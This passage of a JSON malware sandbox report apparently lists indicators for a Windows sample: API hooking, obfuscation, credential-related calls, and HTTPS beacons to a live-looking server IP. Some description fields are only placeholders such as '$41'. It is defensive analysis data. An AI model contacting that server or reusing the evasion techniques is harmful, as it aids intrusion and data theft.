\"RemoveDirectory\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")","origin":"File/Memory","mitre_attack_id":"T1070.004","relevance":1,"id":"string-308","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify access token privileges (API string)","description":"file/memory contains long string with (Indicator: \"AdjustTokenPrivileges\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")\n file/memory contains long string with (Indicator: \"LookupPrivilegeValue\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")","origin":"File/Memory","mitre_attack_id":"T1134","relevance":1,"id":"string-77","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify file attributes (API string)","description":"file/memory contains long string with (Indicator: \"SetFileAttributes\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")\n file/memory contains long string with (Indicator: \"SetInformationFile\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")\n file/memory contains long string with (Indicator: \"NtSetInformationFile\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")","origin":"File/Memory","mitre_attack_id":"T1222","relevance":1,"id":"string-426","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify process attributes (API string)","description":"file/memory contains long string with (Indicator: \"UpdateProcThreadAttribute\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")\n file/memory contains long string with (Indicator: \"InitializeProcThreadAttributeList\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")","origin":"File/Memory","mitre_attack_id":"T1562.001","relevance":1,"id":"string-402","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"System Security","name":"Contains ability to obtains specified information about the security of a file or directory (API string)","description":"$41","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-114","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"System Security","name":"Contains ability to shutdown system","description":"Observed string: \"Shutdown\" (Indicator: \"shutdown\") in Source: 70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin","origin":"File/Memory","mitre_attack_id":"T1529","relevance":1,"id":"string-406","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate a process (API string)","description":"Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")\n file/memory contains long string with (Indicator: \"ExitProcess\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")\n file/memory contains long string with (Indicator: \"TerminateProcess\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")\n Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; Source: \"00000000-00003300.00000000.268378.EFEF4000.00000004.mdmp\")\n Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; Source: \"00000000-00003656.00000000.269712.FF421000.00000020.mdmp\")\n Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; Source: \"00000000-00003656.00000000.269712.FF421000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-316","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"System Security","name":"Contains ability to write files (API string)","description":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")\n Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00003300.00000000.268378.EFEF4000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","id":"string-535","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to free the memory used by network management functions (API string)","description":"file/memory contains long string with (Indicator: \"NetApiBufferFree\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-223","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops file with high entropy, indicating encryption/obfuscation","description":"\"24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA has high entropy\"\n \"05DDC6AA91765AACACDB0A5F96DF8199 has high entropy\"\n \"6DA548C7E5915679F87E910D6581DEF1_3B575FC3633203A7B6F1D54AF15F5DFF has high entropy\"\n \"4FA45AE1010E09657982D8D28B3BD38E_BF3890251EE43B9B7C585D8A702A23E9 has high entropy\"\n \"B3513D73A177A2707D910183759B389B_DD5C881D3BBD16C042910D28DAB6EC75 has high entropy\"\n \"B3513D73A177A2707D910183759B389B_37334A92C08D0036E183ABCF13343D9F has high entropy\"","origin":"Binary File","mitre_attack_id":"T1027.013","relevance":3,"id":"binary-90","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops files with image extension","description":"\"nav_logo229_1_.png\" has type \"Unknown\" and extension \"png\"\n \"googlelogo_white_background_color_272x92dp_1_.png\" has type \"Unknown\" and extension \"png\"","origin":"Binary File","mitre_attack_id":"T1105","id":"binary-56","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"}]},{"level":"suspicious","category":"Anti-Detection/Stealthiness","name":"File exhibits characteristics of junk code obfuscation","description":"File has excessive sections (19)\n common in obfuscated files\n Section \".CRT\" has very low entropy (0.26)\n indicating potential NOP sled","origin":"Static Parser","mitre_attack_id":"T1027.016","relevance":7,"id":"static-9001","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"suspicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"4/26 Antivirus vendors marked sample as malicious (15% detection rate)","origin":"External System","id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"suspicious","category":"Pattern Matching","name":"YARA signature match - ChaCha20 encryption algorithm","description":"YARA signature for ChaCha20 256-bit key algorithm matched on file \"sample.bin\"\n YARA signature for ChaCha20 128-bit key algorithm matched on file \"sample.bin\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":9,"id":"yara-44","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"suspicious","category":"Pattern Matching","name":"YARA signature match – Anomalous PE file structure","description":"YARA signature for invalid Timestamp of PE file \"sample.bin\"","origin":"YARA Signature","mitre_attack_id":"T1027.013","relevance":1,"id":"yara-153","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"suspicious","category":"System Security","name":"Hooks API calls","description":"$42","origin":"Hook Detection","mitre_attack_id":"T1056.004","relevance":10,"id":"hooks-0","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"VirtualAlloc\n LoadLibraryW\n LoadLibraryExW\n CreateThread\n VirtualProtect\n WriteFile\n GetSystemDirectoryA\n Sleep\n GetProcAddress\n GetSystemInfo\n GetThreadContext","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Timestamp in PE header is very old or in the future","description":"\"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\" claims program is from Thu Jan 1 00:00:00 1970","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-3","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"Hooks file system APIs","description":"\"FindFirstFileA@KERNEL32.DLL\" in \"rundll32.exe\"\n \"FindFirstFileW@KERNEL32.DLL\" in \"rundll32.exe\"\n \"FindNextFileW@KERNEL32.DLL\" in \"rundll32.exe\"\n \"FindNextFileA@KERNEL32.DLL\" in \"rundll32.exe\"","origin":"Hook Detection","mitre_attack_id":"T1056.004","relevance":10,"id":"hooks-2","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"}]},{"level":"malicious","category":"External Systems","name":"Sample detected by CrowdStrike Static Analysis and ML with relatively high confidence","description":"CrowdStrike Static Analysis and ML (QuickScan) yielded detection: win/malicious_confidence_100% (W)","origin":"External System","relevance":10,"id":"avtest-8","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"}]},{"level":"malicious","category":"General","name":"The input sample is signed with an invalid certificate","description":"Error: A certificate chain processed\n but terminated in a root certificate which is not trusted by the trust provider. (0x800b0109)","origin":"Certificate Data","mitre_attack_id":"T1553.002","relevance":10,"id":"certificate-1","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Hooks internet related APIs","description":"\"send@WS2_32.DLL\" in \"rundll32.exe\"","origin":"Hook Detection","mitre_attack_id":"T1056.004","relevance":10,"id":"hooks-5","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Found PE header in memory","description":"Found PE header \"MZ\" - Source: \"00000000-00008812.00000000.308314.00400000.00000004.mdmp\")","origin":"Memory Dumps","mitre_attack_id":"T1055","relevance":1,"id":"memorydump-8","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Queries process information","description":"$43","origin":"API Call","mitre_attack_id":"T1057","relevance":4,"id":"api-9","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to utilize the Windows bcrypt cryptographic API","description":"Found reference to API \"BCryptOpenAlgorithmProvider\" (Indicator: \"BCryptOpenAlgorithmProvider\"; Source: \"00000000-00005492-00000C2B-3750472220\")\n Found reference to API \"BCryptGenerateSymmetricKey\" (Indicator: \"BCryptGenerateSymmetricKey\"; Source: \"00000000-00005492-00000C2B-3750472319\")\n Found reference to API \"BCryptDecrypt\" (Indicator: \"BCryptDecrypt\"; Source: \"00000000-00005492-00000C2B-3750472362\")\n Found reference to API \"BCryptEncrypt\" (Indicator: \"BCryptEncrypt\"; Source: \"00000000-00005492-00000C2B-3750472402\")\n Found reference to API \"BCryptDestroyKey\" (Indicator: \"BCryptDestroyKey\"; Source: \"00000000-00005492-00000C2B-3750472443\")\n Found reference to API \"BCryptCloseAlgorithmProvider\" (Indicator: \"BCryptCloseAlgorithmProvider\"; Source: \"00000000-00005492-00000C2B-3750472482\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":1,"id":"string-927","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to cryptographic keys","description":"Found string \"ncrypted Private Key\" (Indicator: \"private key\"; Source: \"00000000-00002724.00000001.309881.29B40000.00000004.mdmp\")\n Found string \"ncrypted Private Key\" (Indicator: \"private key\"; Source: \"00000000-00003924.00000001.308493.929B0000.00000004.mdmp\")\n Found string \"ncrypted Private Key\" (Indicator: \"private key\"; Source: \"00000000-00004108.00000001.309191.8A750000.00000004.mdmp\")\n Found string \"ncrypted Private Key\" (Indicator: \"private key\"; Source: \"00000000-00004240.00000001.310045.B3360000.00000004.mdmp\")\n Found string \"ncrypted Private Key\" (Indicator: \"private key\"; Source: \"00000000-00004588.00000001.310240.C4F10000.00000004.mdmp\")\n Found string \"ncrypted Private Key\" (Indicator: \"private key\"; Source: \"00000000-00004656.00000001.308817.FF150000.00000004.mdmp\")\n Found string \"ncrypted Private Key\" (Indicator: \"private key\"; Source: \"00000000-00004692.00000001.310142.58080000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-280","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"Cryptographic Related","name":"HTTP requests contain Base64 strings","description":"$44","origin":"Network Traffic","mitre_attack_id":"T1132","relevance":1,"id":"network-60","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"Environment Awareness","name":"Able to enumerate system processes using native API","description":"Found reference to API \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00005492-00000C2B-3750134886\")\n Found reference to API \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00002724.00000000.309523.9F489000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-907","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using API string","description":"Found string \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00005492-00000C2B-3750134886\")\n Found string \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00002724.00000000.309523.9F489000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.001","relevance":1,"id":"string-659","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques","description":"\"rundll32.exe\" called \"GetTickCount\" with parameters (UID: 00000000-00005492)","origin":"API Call","mitre_attack_id":"T1497","relevance":3,"id":"api-296","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality","description":"\"rundll32.exe\" called \"NtQueryInformationToken\" with parameters (UID: 00000000-00005492)","origin":"API Call","mitre_attack_id":"T1003","relevance":3,"id":"api-297","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to determine if process is running under WOW64 (API string)","description":"Found reference to API \"IsWow64Process2\" (Indicator: \"IsWow64Process\"; Source: \"00000000-00002724.00000000.309523.9F489000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-450","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information","description":"$45","origin":"API Call","mitre_attack_id":"T1082","relevance":8,"id":"api-39","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"rundll32.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"rundll32.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"External Systems","name":"Detected Suricata Alert","description":"Detected alert \"SURICATA IPv4 invalid checksum\" (SID: 2200073, Rev: 2, Severity: 3) categorized as \"Generic Protocol Command Decode\"","origin":"Suricata Alerts","relevance":10,"id":"suricata-0","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"}]},{"level":"informative","category":"General","name":"Able to retrieve/open a process (API string)","description":"Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; Source: \"00000000-00002724.00000000.309523.9F489000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-272","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"General","name":"Accesses System Certificates Settings","description":"$46","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-17","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a directory","description":"$47","origin":"API Call","mitre_attack_id":"T1074.001","relevance":3,"id":"api-122","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"46.225.156.170:443\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"\"Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\" in Source: 00000000-00002724.00000001.309881.29B40000.00000004.mdmp\n \"Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\" in Source: 00000000-00003924.00000001.308493.929B0000.00000004.mdmp\n \"Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\" in Source: 00000000-00004108.00000001.309191.8A750000.00000004.mdmp\n \"Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\" in Source: 00000000-00004240.00000001.310045.B3360000.00000004.mdmp\n \"Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\" in Source: 00000000-00004588.00000001.310240.C4F10000.00000004.mdmp\n \"Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\" in Source: 00000000-00004656.00000001.308817.FF150000.00000004.mdmp\n \"Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\" in Source: 00000000-00004692.00000001.310142.58080000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-120","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"$48","origin":"Created Mutant","mitre_attack_id":"T1480.002","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"General","name":"Found User Agent related strings","description":"$49","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-127","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"General","name":"Found registry location strings in memory","description":"$4a","origin":"Memory Dumps","mitre_attack_id":"T1012","relevance":1,"id":"memorydump-10","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries basic information of the specified process","description":"\"rundll32.exe\" queries basic process information of the \"C:\\Windows\\System32\\rundll32.exe\" (UID: 5492)","origin":"API Call","mitre_attack_id":"T1057","relevance":1,"id":"api-235","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to send the specified request to the HTTP server","description":"$4b","origin":"API Call","mitre_attack_id":"T1071.001","relevance":2,"id":"api-190","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to to receive the response to a HTTP requests","description":"$4c","origin":"API Call","mitre_attack_id":"T1071.001","relevance":2,"id":"api-191","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"Network Related","name":"Communicates with HTTP web server (GET/POST requests)","description":"Found http requests in header \"POST /\"","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-62","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"Network Related","name":"Contains ability to upload file/data","description":"$4d","origin":"File/Memory","mitre_attack_id":"T1041","relevance":1,"id":"string-511","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"Network Related","name":"Found potential IP address in binary/memory","description":"$4e","origin":"File/Memory","mitre_attack_id":"T1071","id":"string-14","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"Network Related","name":"Found potential URLs in memory dumps","description":"$4f","origin":"Memory Dumps","mitre_attack_id":"T1071","relevance":1,"id":"memorydump-2","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"Network Related","name":"Found string related to HTTP headers","description":"Found string \"HTTP/1.1 200 OK\" (Indicator: \"HTTP/1.1\"; Source: \"00000000-00002724.00000001.309881.29B40000.00000004.mdmp\")\n Found string \"HTTP/1.1 200 OK\" (Indicator: \"HTTP/1.1\"; Source: \"00000000-00003924.00000001.308493.929B0000.00000004.mdmp\")\n Found string \"HTTP/1.1 200 OK\" (Indicator: \"HTTP/1.1\"; Source: \"00000000-00004108.00000001.309191.8A750000.00000004.mdmp\")\n Found string \"HTTP/1.1 200 OK\" (Indicator: \"HTTP/1.1\"; Source: \"00000000-00004240.00000001.310045.B3360000.00000004.mdmp\")\n Found string \"HTTP/1.1 200 OK\" (Indicator: \"HTTP/1.1\"; Source: \"00000000-00004588.00000001.310240.C4F10000.00000004.mdmp\")\n Found string \"HTTP/1.1 200 OK\" (Indicator: \"HTTP/1.1\"; Source: \"00000000-00004656.00000001.308817.FF150000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-457","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"Network Related","name":"JA3 SSL client fingerprint","description":"Observed JA3 fingerprint: 8e6e5e26c545781f412f07aaaef7d20a","origin":"Network Traffic","relevance":1,"id":"network-55","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"Network Related","name":"Makes HTTPS connections using secure TLS/SSL version","description":"Connection was made using TLSv1.2 [tls.handshake.version: 0x0303]","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":1,"id":"network-54","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"Network Related","name":"Sends GET/POST requests (HTTPS)","description":"Found HTTPS POST request to https://46.225.156.170/","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-66","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"Network Related","name":"Uses HTTPS for communication","description":"HTTPS traffic to \"46.225.156.170\" on port \"443\"","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":3,"id":"network-38","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match – PEB traversal","description":"YARA signature for PEB traversal process \"00000000-00008812\"","origin":"YARA Signature","mitre_attack_id":"T1027.007","relevance":1,"id":"yara-166","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access credential file using Kerberos","description":"$50","origin":"File/Memory","mitre_attack_id":"T1558","relevance":1,"id":"string-868","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve computer name","description":"$51","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-141","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"System Security","name":"Contains ability to access device drivers","description":"$52","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-474","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"rundll32.exe\" opened \"\\Device\\KsecDD\"","origin":"API 